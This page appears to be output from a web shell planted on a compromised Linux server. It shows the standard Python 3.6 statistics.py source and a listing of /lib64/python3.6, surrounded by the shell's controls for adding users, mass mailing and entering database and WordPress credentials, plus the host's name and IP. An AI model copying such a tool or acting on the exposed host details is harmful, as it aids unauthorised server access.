System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python3.6
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
statistics.py
""" Basic statistics module. This module provides functions for calculating statistics of data, including averages, variance, and standard deviation. Calculating averages -------------------- ================== ============================================= Function Description ================== ============================================= mean Arithmetic mean (average) of data. harmonic_mean Harmonic mean of data. median Median (middle value) of data. median_low Low median of data. median_high High median of data. median_grouped Median, or 50th percentile, of grouped data. mode Mode (most common value) of data. ================== ============================================= Calculate the arithmetic mean ("the average") of data: >>> mean([-1.0, 2.5, 3.25, 5.75]) 2.625 Calculate the standard median of discrete data: >>> median([2, 3, 4, 5]) 3.5 Calculate the median, or 50th percentile, of data grouped into class intervals centred on the data values provided. E.g. if your data points are rounded to the nearest whole number: >>> median_grouped([2, 2, 3, 3, 3, 4]) #doctest: +ELLIPSIS 2.8333333333... This should be interpreted in this way: you have two data points in the class interval 1.5-2.5, three data points in the class interval 2.5-3.5, and one in the class interval 3.5-4.5. The median of these data points is 2.8333... Calculating variability or spread --------------------------------- ================== ============================================= Function Description ================== ============================================= pvariance Population variance of data. variance Sample variance of data. pstdev Population standard deviation of data. stdev Sample standard deviation of data. ================== ============================================= Calculate the standard deviation of sample data: >>> stdev([2.5, 3.25, 5.5, 11.25, 11.75]) #doctest: +ELLIPSIS 4.38961843444... If you have previously calculated the mean, you can pass it as the optional second argument to the four "spread" functions to avoid recalculating it: >>> data = [1, 2, 2, 4, 4, 4, 5, 6] >>> mu = mean(data) >>> pvariance(data, mu) 2.5 Exceptions ---------- A single exception is defined: StatisticsError is a subclass of ValueError. """ __all__ = [ 'StatisticsError', 'pstdev', 'pvariance', 'stdev', 'variance', 'median', 'median_low', 'median_high', 'median_grouped', 'mean', 'mode', 'harmonic_mean', ] import collections import decimal import math import numbers from fractions import Fraction from decimal import Decimal from itertools import groupby, chain from bisect import bisect_left, bisect_right # === Exceptions === class StatisticsError(ValueError): pass # === Private utilities === def _sum(data, start=0): """_sum(data [, start]) -> (type, sum, count) Return a high-precision sum of the given numeric data as a fraction, together with the type to be converted to and the count of items. If optional argument ``start`` is given, it is added to the total. If ``data`` is empty, ``start`` (defaulting to 0) is returned. Examples -------- >>> _sum([3, 2.25, 4.5, -0.5, 1.0], 0.75) (<class 'float'>, Fraction(11, 1), 5) Some sources of round-off error will be avoided: # Built-in sum returns zero. >>> _sum([1e50, 1, -1e50] * 1000) (<class 'float'>, Fraction(1000, 1), 3000) Fractions and Decimals are also supported: >>> from fractions import Fraction as F >>> _sum([F(2, 3), F(7, 5), F(1, 4), F(5, 6)]) (<class 'fractions.Fraction'>, Fraction(63, 20), 4) >>> from decimal import Decimal as D >>> data = [D("0.1375"), D("0.2108"), D("0.3061"), D("0.0419")] >>> _sum(data) (<class 'decimal.Decimal'>, Fraction(6963, 10000), 4) Mixed types are currently treated as an error, except that int is allowed. """ count = 0 n, d = _exact_ratio(start) partials = {d: n} partials_get = partials.get T = _coerce(int, type(start)) for typ, values in groupby(data, type): T = _coerce(T, typ) # or raise TypeError for n,d in map(_exact_ratio, values): count += 1 partials[d] = partials_get(d, 0) + n if None in partials: # The sum will be a NAN or INF. We can ignore all the finite # partials, and just look at this special one. total = partials[None] assert not _isfinite(total) else: # Sum all the partial sums using builtin sum. # FIXME is this faster if we sum them in order of the denominator? total = sum(Fraction(n, d) for d, n in sorted(partials.items())) return (T, total, count) def _isfinite(x): try: return x.is_finite() # Likely a Decimal. except AttributeError: return math.isfinite(x) # Coerces to float first. def _coerce(T, S): """Coerce types T and S to a common type, or raise TypeError. Coercion rules are currently an implementation detail. See the CoerceTest test class in test_statistics for details. """ # See http://bugs.python.org/issue24068. assert T is not bool, "initial type T is bool" # If the types are the same, no need to coerce anything. Put this # first, so that the usual case (no coercion needed) happens as soon # as possible. if T is S: return T # Mixed int & other coerce to the other type. if S is int or S is bool: return T if T is int: return S # If one is a (strict) subclass of the other, coerce to the subclass. if issubclass(S, T): return S if issubclass(T, S): return T # Ints coerce to the other type. if issubclass(T, int): return S if issubclass(S, int): return T # Mixed fraction & float coerces to float (or float subclass). if issubclass(T, Fraction) and issubclass(S, float): return S if issubclass(T, float) and issubclass(S, Fraction): return T # Any other combination is disallowed. msg = "don't know how to coerce %s and %s" raise TypeError(msg % (T.__name__, S.__name__)) def _exact_ratio(x): """Return Real number x to exact (numerator, denominator) pair. >>> _exact_ratio(0.25) (1, 4) x is expected to be an int, Fraction, Decimal or float. """ try: # Optimise the common case of floats. We expect that the most often # used numeric type will be builtin floats, so try to make this as # fast as possible. if type(x) is float or type(x) is Decimal: return x.as_integer_ratio() try: # x may be an int, Fraction, or Integral ABC. return (x.numerator, x.denominator) except AttributeError: try: # x may be a float or Decimal subclass. return x.as_integer_ratio() except AttributeError: # Just give up? pass except (OverflowError, ValueError): # float NAN or INF. assert not _isfinite(x) return (x, None) msg = "can't convert type '{}' to numerator/denominator" raise TypeError(msg.format(type(x).__name__)) def _convert(value, T): """Convert value to given numeric type T.""" if type(value) is T: # This covers the cases where T is Fraction, or where value is # a NAN or INF (Decimal or float). return value if issubclass(T, int) and value.denominator != 1: T = float try: # FIXME: what do we do if this overflows? return T(value) except TypeError: if issubclass(T, Decimal): return T(value.numerator)/T(value.denominator) else: raise def _counts(data): # Generate a table of sorted (value, frequency) pairs. table = collections.Counter(iter(data)).most_common() if not table: return table # Extract the values with the highest frequency. maxfreq = table[0][1] for i in range(1, len(table)): if table[i][1] != maxfreq: table = table[:i] break return table def _find_lteq(a, x): 'Locate the leftmost value exactly equal to x' i = bisect_left(a, x) if i != len(a) and a[i] == x: return i raise ValueError def _find_rteq(a, l, x): 'Locate the rightmost value exactly equal to x' i = bisect_right(a, x, lo=l) if i != (len(a)+1) and a[i-1] == x: return i-1 raise ValueError def _fail_neg(values, errmsg='negative value'): """Iterate over values, failing if any are less than zero.""" for x in values: if x < 0: raise StatisticsError(errmsg) yield x # === Measures of central tendency (averages) === def mean(data): """Return the sample arithmetic mean of data. >>> mean([1, 2, 3, 4, 4]) 2.8 >>> from fractions import Fraction as F >>> mean([F(3, 7), F(1, 21), F(5, 3), F(1, 3)]) Fraction(13, 21) >>> from decimal import Decimal as D >>> mean([D("0.5"), D("0.75"), D("0.625"), D("0.375")]) Decimal('0.5625') If ``data`` is empty, StatisticsError will be raised. """ if iter(data) is data: data = list(data) n = len(data) if n < 1: raise StatisticsError('mean requires at least one data point') T, total, count = _sum(data) assert count == n return _convert(total/n, T) def harmonic_mean(data): """Return the harmonic mean of data. The harmonic mean, sometimes called the subcontrary mean, is the reciprocal of the arithmetic mean of the reciprocals of the data, and is often appropriate when averaging quantities which are rates or ratios, for example speeds. Example: Suppose an investor purchases an equal value of shares in each of three companies, with P/E (price/earning) ratios of 2.5, 3 and 10. What is the average P/E ratio for the investor's portfolio? >>> harmonic_mean([2.5, 3, 10]) # For an equal investment portfolio. 3.6 Using the arithmetic mean would give an average of about 5.167, which is too high. If ``data`` is empty, or any element is less than zero, ``harmonic_mean`` will raise ``StatisticsError``. """ # For a justification for using harmonic mean for P/E ratios, see # http://fixthepitch.pellucid.com/comps-analysis-the-missing-harmony-of-summary-statistics/ # http://papers.ssrn.com/sol3/papers.cfm?abstract_id=2621087 if iter(data) is data: data = list(data) errmsg = 'harmonic mean does not support negative values' n = len(data) if n < 1: raise StatisticsError('harmonic_mean requires at least one data point') elif n == 1: x = data[0] if isinstance(x, (numbers.Real, Decimal)): if x < 0: raise StatisticsError(errmsg) return x else: raise TypeError('unsupported type') try: T, total, count = _sum(1/x for x in _fail_neg(data, errmsg)) except ZeroDivisionError: return 0 assert count == n return _convert(n/total, T) # FIXME: investigate ways to calculate medians without sorting? Quickselect? def median(data): """Return the median (middle value) of numeric data. When the number of data points is odd, return the middle data point. When the number of data points is even, the median is interpolated by taking the average of the two middle values: >>> median([1, 3, 5]) 3 >>> median([1, 3, 5, 7]) 4.0 """ data = sorted(data) n = len(data) if n == 0: raise StatisticsError("no median for empty data") if n%2 == 1: return data[n//2] else: i = n//2 return (data[i - 1] + data[i])/2 def median_low(data): """Return the low median of numeric data. When the number of data points is odd, the middle value is returned. When it is even, the smaller of the two middle values is returned. >>> median_low([1, 3, 5]) 3 >>> median_low([1, 3, 5, 7]) 3 """ data = sorted(data) n = len(data) if n == 0: raise StatisticsError("no median for empty data") if n%2 == 1: return data[n//2] else: return data[n//2 - 1] def median_high(data): """Return the high median of data. When the number of data points is odd, the middle value is returned. When it is even, the larger of the two middle values is returned. >>> median_high([1, 3, 5]) 3 >>> median_high([1, 3, 5, 7]) 5 """ data = sorted(data) n = len(data) if n == 0: raise StatisticsError("no median for empty data") return data[n//2] def median_grouped(data, interval=1): """Return the 50th percentile (median) of grouped continuous data. >>> median_grouped([1, 2, 2, 3, 4, 4, 4, 4, 4, 5]) 3.7 >>> median_grouped([52, 52, 53, 54]) 52.5 This calculates the median as the 50th percentile, and should be used when your data is continuous and grouped. In the above example, the values 1, 2, 3, etc. actually represent the midpoint of classes 0.5-1.5, 1.5-2.5, 2.5-3.5, etc. The middle value falls somewhere in class 3.5-4.5, and interpolation is used to estimate it. Optional argument ``interval`` represents the class interval, and defaults to 1. Changing the class interval naturally will change the interpolated 50th percentile value: >>> median_grouped([1, 3, 3, 5, 7], interval=1) 3.25 >>> median_grouped([1, 3, 3, 5, 7], interval=2) 3.5 This function does not check whether the data points are at least ``interval`` apart. """ data = sorted(data) n = len(data) if n == 0: raise StatisticsError("no median for empty data") elif n == 1: return data[0] # Find the value at the midpoint. Remember this corresponds to the # centre of the class interval. x = data[n//2] for obj in (x, interval): if isinstance(obj, (str, bytes)): raise TypeError('expected number but got %r' % obj) try: L = x - interval/2 # The lower limit of the median interval. except TypeError: # Mixed type. For now we just coerce to float. L = float(x) - float(interval)/2 # Uses bisection search to search for x in data with log(n) time complexity # Find the position of leftmost occurrence of x in data l1 = _find_lteq(data, x) # Find the position of rightmost occurrence of x in data[l1...len(data)] # Assuming always l1 <= l2 l2 = _find_rteq(data, l1, x) cf = l1 f = l2 - l1 + 1 return L + interval*(n/2 - cf)/f def mode(data): """Return the most common data point from discrete or nominal data. ``mode`` assumes discrete data, and returns a single value. This is the standard treatment of the mode as commonly taught in schools: >>> mode([1, 1, 2, 3, 3, 3, 3, 4]) 3 This also works with nominal (non-numeric) data: >>> mode(["red", "blue", "blue", "red", "green", "red", "red"]) 'red' If there is not exactly one most common value, ``mode`` will raise StatisticsError. """ # Generate a table of sorted (value, frequency) pairs. table = _counts(data) if len(table) == 1: return table[0][0] elif table: raise StatisticsError( 'no unique mode; found %d equally common values' % len(table) ) else: raise StatisticsError('no mode for empty data') # === Measures of spread === # See http://mathworld.wolfram.com/Variance.html # http://mathworld.wolfram.com/SampleVariance.html # http://en.wikipedia.org/wiki/Algorithms_for_calculating_variance # # Under no circumstances use the so-called "computational formula for # variance", as that is only suitable for hand calculations with a small # amount of low-precision data. It has terrible numeric properties. # # See a comparison of three computational methods here: # http://www.johndcook.com/blog/2008/09/26/comparing-three-methods-of-computing-standard-deviation/ def _ss(data, c=None): """Return sum of square deviations of sequence data. If ``c`` is None, the mean is calculated in one pass, and the deviations from the mean are calculated in a second pass. Otherwise, deviations are calculated from ``c`` as given. Use the second case with care, as it can lead to garbage results. """ if c is None: c = mean(data) T, total, count = _sum((x-c)**2 for x in data) # The following sum should mathematically equal zero, but due to rounding # error may not. U, total2, count2 = _sum((x-c) for x in data) assert T == U and count == count2 total -= total2**2/len(data) assert not total < 0, 'negative sum of square deviations: %f' % total return (T, total) def variance(data, xbar=None): """Return the sample variance of data. data should be an iterable of Real-valued numbers, with at least two values. The optional argument xbar, if given, should be the mean of the data. If it is missing or None, the mean is automatically calculated. Use this function when your data is a sample from a population. To calculate the variance from the entire population, see ``pvariance``. Examples: >>> data = [2.75, 1.75, 1.25, 0.25, 0.5, 1.25, 3.5] >>> variance(data) 1.3720238095238095 If you have already calculated the mean of your data, you can pass it as the optional second argument ``xbar`` to avoid recalculating it: >>> m = mean(data) >>> variance(data, m) 1.3720238095238095 This function does not check that ``xbar`` is actually the mean of ``data``. Giving arbitrary values for ``xbar`` may lead to invalid or impossible results. Decimals and Fractions are supported: >>> from decimal import Decimal as D >>> variance([D("27.5"), D("30.25"), D("30.25"), D("34.5"), D("41.75")]) Decimal('31.01875') >>> from fractions import Fraction as F >>> variance([F(1, 6), F(1, 2), F(5, 3)]) Fraction(67, 108) """ if iter(data) is data: data = list(data) n = len(data) if n < 2: raise StatisticsError('variance requires at least two data points') T, ss = _ss(data, xbar) return _convert(ss/(n-1), T) def pvariance(data, mu=None): """Return the population variance of ``data``. data should be an iterable of Real-valued numbers, with at least one value. The optional argument mu, if given, should be the mean of the data. If it is missing or None, the mean is automatically calculated. Use this function to calculate the variance from the entire population. To estimate the variance from a sample, the ``variance`` function is usually a better choice. Examples: >>> data = [0.0, 0.25, 0.25, 1.25, 1.5, 1.75, 2.75, 3.25] >>> pvariance(data) 1.25 If you have already calculated the mean of the data, you can pass it as the optional second argument to avoid recalculating it: >>> mu = mean(data) >>> pvariance(data, mu) 1.25 This function does not check that ``mu`` is actually the mean of ``data``. Giving arbitrary values for ``mu`` may lead to invalid or impossible results. Decimals and Fractions are supported: >>> from decimal import Decimal as D >>> pvariance([D("27.5"), D("30.25"), D("30.25"), D("34.5"), D("41.75")]) Decimal('24.815') >>> from fractions import Fraction as F >>> pvariance([F(1, 4), F(5, 4), F(1, 2)]) Fraction(13, 72) """ if iter(data) is data: data = list(data) n = len(data) if n < 1: raise StatisticsError('pvariance requires at least one data point') T, ss = _ss(data, mu) return _convert(ss/n, T) def stdev(data, xbar=None): """Return the square root of the sample variance. See ``variance`` for arguments and other details. >>> stdev([1.5, 2.5, 2.5, 2.75, 3.25, 4.75]) 1.0810874155219827 """ var = variance(data, xbar) try: return var.sqrt() except AttributeError: return math.sqrt(var) def pstdev(data, mu=None): """Return the square root of the population variance. See ``pvariance`` for arguments and other details. >>> pstdev([1.5, 2.5, 2.5, 2.75, 3.25, 4.75]) 0.986893273527251 """ var = pvariance(data, mu) try: return var.sqrt() except AttributeError: return math.sqrt(var)
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
..
DIR
-
dr-xr-xr-x
2025-10-21 10:57:26
__pycache__
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
asyncio
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
collections
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
concurrent
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
config-3.6m-x86_64-linux-gnu
DIR
-
drwxr-xr-x
2025-08-28 10:58:34
ctypes
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
curses
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
dbm
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
distutils
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
email
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
encodings
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
ensurepip
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
html
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
http
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
importlib
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
json
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
lib-dynload
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
lib2to3
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
logging
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
multiprocessing
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
pydoc_data
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
site-packages
DIR
-
drwxr-xr-x
2025-10-21 10:57:26
sqlite3
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
test
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
unittest
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
urllib
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
venv
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
wsgiref
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
xml
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
xmlrpc
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
__future__.py
text/plain
4.73 KB
-rw-r--r--
2018-12-23 09:37:14
__phello__.foo.py
text/plain
64 B
-rw-r--r--
2018-12-23 09:37:14
_bootlocale.py
text/plain
1.27 KB
-rw-r--r--
2018-12-23 09:37:14
_collections_abc.py
text/x-python
25.77 KB
-rw-r--r--
2018-12-23 09:37:14
_compat_pickle.py
text/plain
8.54 KB
-rw-r--r--
2018-12-23 09:37:14
_compression.py
text/plain
5.21 KB
-rw-r--r--
2018-12-23 09:37:14
_dummy_thread.py
text/plain
5 KB
-rw-r--r--
2018-12-23 09:37:14
_markupbase.py
text/plain
14.26 KB
-rw-r--r--
2018-12-23 09:37:14
_osx_support.py
text/plain
18.69 KB
-rw-r--r--
2018-12-23 09:37:14
_pydecimal.py
text/x-python
224.83 KB
-rw-r--r--
2018-12-23 09:37:14
_pyio.py
text/x-python
86.03 KB
-rw-r--r--
2018-12-23 09:37:14
_sitebuiltins.py
text/plain
3.04 KB
-rw-r--r--
2018-12-23 09:37:14
_strptime.py
text/x-python
24.17 KB
-rw-r--r--
2018-12-23 09:37:14
_sysconfigdata_dm_linux_x86_64-linux-gnu.py
text/plain
29.48 KB
-rw-r--r--
2025-08-26 09:00:17
_sysconfigdata_m_linux_x86_64-linux-gnu.py
text/plain
29.66 KB
-rw-r--r--
2025-08-26 09:06:58
_threading_local.py
text/x-python
7.04 KB
-rw-r--r--
2018-12-23 09:37:14
_weakrefset.py
text/x-python
5.57 KB
-rw-r--r--
2018-12-23 09:37:14
abc.py
text/x-python
8.52 KB
-rw-r--r--
2018-12-23 09:37:14
aifc.py
text/x-python
31.69 KB
-rw-r--r--
2018-12-23 09:37:14
antigravity.py
text/x-python
477 B
-rw-r--r--
2018-12-23 09:37:14
argparse.py
text/x-python
88.25 KB
-rw-r--r--
2018-12-23 09:37:14
ast.py
text/x-python
11.88 KB
-rw-r--r--
2018-12-23 09:37:14
asynchat.py
text/x-python
11.06 KB
-rw-r--r--
2018-12-23 09:37:14
asyncore.py
text/x-python
19.69 KB
-rw-r--r--
2018-12-23 09:37:14
base64.py
text/plain
19.91 KB
-rwxr-xr-x
2018-12-23 09:37:14
bdb.py
text/x-python
23 KB
-rw-r--r--
2018-12-23 09:37:14
binhex.py
text/plain
13.63 KB
-rw-r--r--
2018-12-23 09:37:14
bisect.py
text/plain
2.53 KB
-rw-r--r--
2018-12-23 09:37:14
bz2.py
text/x-python
12.19 KB
-rw-r--r--
2018-12-23 09:37:14
cProfile.py
text/plain
5.25 KB
-rwxr-xr-x
2018-12-23 09:37:14
calendar.py
text/x-python
22.67 KB
-rw-r--r--
2018-12-23 09:37:14
cgi.py
text/plain
36.35 KB
-rwxr-xr-x
2025-08-26 08:58:55
cgitb.py
text/plain
11.74 KB
-rw-r--r--
2018-12-23 09:37:14
chunk.py
text/plain
5.3 KB
-rw-r--r--
2018-12-23 09:37:14
cmd.py
text/plain
14.51 KB
-rw-r--r--
2018-12-23 09:37:14
code.py
text/x-python
10.37 KB
-rw-r--r--
2018-12-23 09:37:14
codecs.py
text/plain
35.43 KB
-rw-r--r--
2018-12-23 09:37:14
codeop.py
text/x-python
5.85 KB
-rw-r--r--
2018-12-23 09:37:14
colorsys.py
text/plain
3.97 KB
-rw-r--r--
2018-12-23 09:37:14
compileall.py
text/x-python
11.84 KB
-rw-r--r--
2018-12-23 09:37:14
configparser.py
text/x-python
52.34 KB
-rw-r--r--
2018-12-23 09:37:14
contextlib.py
text/x-python
12.85 KB
-rw-r--r--
2018-12-23 09:37:14
copy.py
text/x-python
8.61 KB
-rw-r--r--
2018-12-23 09:37:14
copyreg.py
text/plain
6.84 KB
-rw-r--r--
2018-12-23 09:37:14
crypt.py
text/x-python
1.82 KB
-rw-r--r--
2018-12-23 09:37:14
csv.py
text/x-python
15.8 KB
-rw-r--r--
2018-12-23 09:37:14
datetime.py
text/plain
80.11 KB
-rw-r--r--
2018-12-23 09:37:14
decimal.py
text/x-python
320 B
-rw-r--r--
2018-12-23 09:37:14
difflib.py
text/x-python
82.4 KB
-rw-r--r--
2018-12-23 09:37:14
dis.py
text/x-python
17.71 KB
-rw-r--r--
2018-12-23 09:37:14
doctest.py
text/x-python
101.94 KB
-rw-r--r--
2018-12-23 09:37:14
dummy_threading.py
text/x-python
2.75 KB
-rw-r--r--
2018-12-23 09:37:14
enum.py
text/x-python
32.82 KB
-rw-r--r--
2018-12-23 09:37:14
filecmp.py
text/x-python
9.6 KB
-rw-r--r--
2018-12-23 09:37:14
fileinput.py
text/plain
14.13 KB
-rw-r--r--
2018-12-23 09:37:14
fnmatch.py
text/plain
3.09 KB
-rw-r--r--
2018-12-23 09:37:14
formatter.py
text/plain
14.79 KB
-rw-r--r--
2018-12-23 09:37:14
fractions.py
text/x-python
23.08 KB
-rw-r--r--
2018-12-23 09:37:14
ftplib.py
text/x-python
34.78 KB
-rw-r--r--
2025-08-26 08:58:55
functools.py
text/x-python
30.61 KB
-rw-r--r--
2018-12-23 09:37:14
genericpath.py
text/plain
4.91 KB
-rw-r--r--
2025-08-26 08:58:55
getopt.py
text/plain
7.31 KB
-rw-r--r--
2018-12-23 09:37:14
getpass.py
text/plain
5.85 KB
-rw-r--r--
2018-12-23 09:37:14
gettext.py
text/x-python
21.03 KB
-rw-r--r--
2018-12-23 09:37:14
glob.py
text/plain
5.51 KB
-rw-r--r--
2018-12-23 09:37:14
gzip.py
text/plain
19.86 KB
-rw-r--r--
2018-12-23 09:37:14
hashlib.py
text/x-python
8.59 KB
-rw-r--r--
2025-08-26 08:58:55
heapq.py
text/plain
22.39 KB
-rw-r--r--
2018-12-23 09:37:14
hmac.py
text/x-python
6.23 KB
-rw-r--r--
2025-08-26 08:58:55
imaplib.py
text/x-python
52.05 KB
-rw-r--r--
2018-12-23 09:37:14
imghdr.py
text/x-python
3.71 KB
-rw-r--r--
2018-12-23 09:37:14
imp.py
text/x-python
10.42 KB
-rw-r--r--
2018-12-23 09:37:14
inspect.py
text/x-python
114.22 KB
-rw-r--r--
2018-12-23 09:37:14
io.py
text/x-python
3.43 KB
-rw-r--r--
2018-12-23 09:37:14
ipaddress.py
text/x-python
75.99 KB
-rw-r--r--
2025-08-26 08:58:55
keyword.py
text/plain
2.17 KB
-rwxr-xr-x
2018-12-23 09:37:14
linecache.py
text/plain
5.19 KB
-rw-r--r--
2018-12-23 09:37:14
locale.py
text/x-python
75.49 KB
-rw-r--r--
2018-12-23 09:37:14
lzma.py
text/x-python
12.68 KB
-rw-r--r--
2018-12-23 09:37:14
macpath.py
text/x-python
5.83 KB
-rw-r--r--
2018-12-23 09:37:14
macurl2path.py
text/plain
2.67 KB
-rw-r--r--
2018-12-23 09:37:14
mailbox.py
text/plain
76.78 KB
-rw-r--r--
2018-12-23 09:37:14
mailcap.py
text/plain
8.85 KB
-rw-r--r--
2025-08-26 08:58:55
mimetypes.py
text/plain
20.55 KB
-rw-r--r--
2018-12-23 09:37:14
modulefinder.py
text/plain
22.49 KB
-rw-r--r--
2018-12-23 09:37:14
netrc.py
text/plain
5.55 KB
-rw-r--r--
2018-12-23 09:37:14
nntplib.py
text/x-python
42.07 KB
-rw-r--r--
2018-12-23 09:37:14
ntpath.py
text/x-python
22.55 KB
-rw-r--r--
2018-12-23 09:37:14
nturl2path.py
text/plain
2.39 KB
-rw-r--r--
2018-12-23 09:37:14
numbers.py
text/x-python
10 KB
-rw-r--r--
2018-12-23 09:37:14
opcode.py
text/x-python
5.69 KB
-rw-r--r--
2018-12-23 09:37:14
operator.py
text/x-python
10.61 KB
-rw-r--r--
2018-12-23 09:37:14
optparse.py
text/plain
58.96 KB
-rw-r--r--
2018-12-23 09:37:14
os.py
text/x-python
36.65 KB
-rw-r--r--
2018-12-23 09:37:14
pathlib.py
text/x-python
45.15 KB
-rw-r--r--
2025-08-26 08:58:55
pdb.py
text/plain
59.88 KB
-rwxr-xr-x
2018-12-23 09:37:14
pickle.py
text/x-python
54.39 KB
-rw-r--r--
2018-12-23 09:37:14
pickletools.py
text/troff
89.62 KB
-rw-r--r--
2018-12-23 09:37:14
pipes.py
text/x-python
8.71 KB
-rw-r--r--
2018-12-23 09:37:14
pkgutil.py
text/x-python
20.82 KB
-rw-r--r--
2018-12-23 09:37:14
platform.py
text/plain
46.11 KB
-rwxr-xr-x
2025-08-26 08:58:55
plistlib.py
text/x-python
31.53 KB
-rw-r--r--
2025-08-26 08:58:55
poplib.py
text/plain
14.61 KB
-rw-r--r--
2018-12-23 09:37:14
posixpath.py
text/x-python
15.94 KB
-rw-r--r--
2025-08-26 08:58:55
pprint.py
text/x-python
20.37 KB
-rw-r--r--
2018-12-23 09:37:14
profile.py
text/plain
21.51 KB
-rwxr-xr-x
2018-12-23 09:37:14
pstats.py
text/x-python
25.94 KB
-rw-r--r--
2018-12-23 09:37:14
pty.py
text/x-python
4.65 KB
-rw-r--r--
2018-12-23 09:37:14
py_compile.py
text/plain
7.01 KB
-rw-r--r--
2018-12-23 09:37:14
pyclbr.py
text/x-python
13.24 KB
-rw-r--r--
2018-12-23 09:37:14
pydoc.py
text/x-python
101.08 KB
-rw-r--r--
2025-08-26 09:08:09
queue.py
text/x-python
8.57 KB
-rw-r--r--
2018-12-23 09:37:14
quopri.py
text/plain
7.09 KB
-rwxr-xr-x
2018-12-23 09:37:14
random.py
text/x-python
26.8 KB
-rw-r--r--
2018-12-23 09:37:14
re.py
text/x-python
15.19 KB
-rw-r--r--
2018-12-23 09:37:14
reprlib.py
text/x-python
5.21 KB
-rw-r--r--
2018-12-23 09:37:14
rlcompleter.py
text/plain
6.93 KB
-rw-r--r--
2018-12-23 09:37:14
runpy.py
text/x-python
11.68 KB
-rw-r--r--
2018-12-23 09:37:14
sched.py
text/x-python
6.36 KB
-rw-r--r--
2018-12-23 09:37:14
secrets.py
text/x-python
1.99 KB
-rw-r--r--
2018-12-23 09:37:14
selectors.py
text/x-python
18.98 KB
-rw-r--r--
2018-12-23 09:37:14
shelve.py
text/x-python
8.32 KB
-rw-r--r--
2018-12-23 09:37:14
shlex.py
text/x-python
12.65 KB
-rw-r--r--
2018-12-23 09:37:14
shutil.py
text/plain
39.87 KB
-rw-r--r--
2025-08-26 08:58:55
signal.py
text/x-python
2.07 KB
-rw-r--r--
2018-12-23 09:37:14
site.py
text/plain
20.77 KB
-rw-r--r--
2025-08-26 08:58:55
smtpd.py
text/plain
33.91 KB
-rwxr-xr-x
2018-12-23 09:37:14
smtplib.py
text/plain
43.18 KB
-rwxr-xr-x
2018-12-23 09:37:14
sndhdr.py
text/x-python
6.92 KB
-rw-r--r--
2018-12-23 09:37:14
socket.py
text/x-python
26.8 KB
-rw-r--r--
2018-12-23 09:37:14
socketserver.py
text/x-python
26.38 KB
-rw-r--r--
2018-12-23 09:37:14
sre_compile.py
text/x-python
18.88 KB
-rw-r--r--
2018-12-23 09:37:14
sre_constants.py
text/x-python
6.66 KB
-rw-r--r--
2018-12-23 09:37:14
sre_parse.py
text/x-python
35.68 KB
-rw-r--r--
2018-12-23 09:37:14
ssl.py
text/x-python
43.47 KB
-rw-r--r--
2025-08-26 08:58:55
stat.py
text/plain
4.92 KB
-rw-r--r--
2018-12-23 09:37:14
statistics.py
text/x-python
20.19 KB
-rw-r--r--
2018-12-23 09:37:14
string.py
text/x-python
11.52 KB
-rw-r--r--
2018-12-23 09:37:14
stringprep.py
text/x-python
12.61 KB
-rw-r--r--
2018-12-23 09:37:14
struct.py
text/x-python
257 B
-rw-r--r--
2018-12-23 09:37:14
subprocess.py
text/x-python
60.88 KB
-rw-r--r--
2018-12-23 09:37:14
sunau.py
text/x-python
17.67 KB
-rw-r--r--
2018-12-23 09:37:14
symbol.py
text/plain
2.07 KB
-rwxr-xr-x
2018-12-23 09:37:14
symtable.py
text/x-python
7.11 KB
-rw-r--r--
2018-12-23 09:37:14
sysconfig.py
text/x-python
24.29 KB
-rw-r--r--
2025-08-26 09:08:08
tabnanny.py
text/plain
11.14 KB
-rwxr-xr-x
2018-12-23 09:37:14
tarfile.py
text/plain
109.02 KB
-rwxr-xr-x
2025-08-26 08:58:55
telnetlib.py
text/x-python
22.59 KB
-rw-r--r--
2018-12-23 09:37:14
tempfile.py
text/x-python
27.41 KB
-rw-r--r--
2025-08-26 08:58:55
textwrap.py
text/plain
19.1 KB
-rw-r--r--
2018-12-23 09:37:14
this.py
text/plain
1003 B
-rw-r--r--
2018-12-23 09:37:14
threading.py
text/x-python
48.96 KB
-rw-r--r--
2025-08-26 08:58:55
timeit.py
text/plain
13.03 KB
-rwxr-xr-x
2018-12-23 09:37:14
token.py
text/plain
3 KB
-rw-r--r--
2018-12-23 09:37:14
tokenize.py
text/x-python
28.8 KB
-rw-r--r--
2018-12-23 09:37:14
trace.py
text/plain
28.06 KB
-rwxr-xr-x
2018-12-23 09:37:14
traceback.py
text/plain
22.91 KB
-rw-r--r--
2018-12-23 09:37:14
tracemalloc.py
text/x-python
16.27 KB
-rw-r--r--
2018-12-23 09:37:14
tty.py
text/x-python
879 B
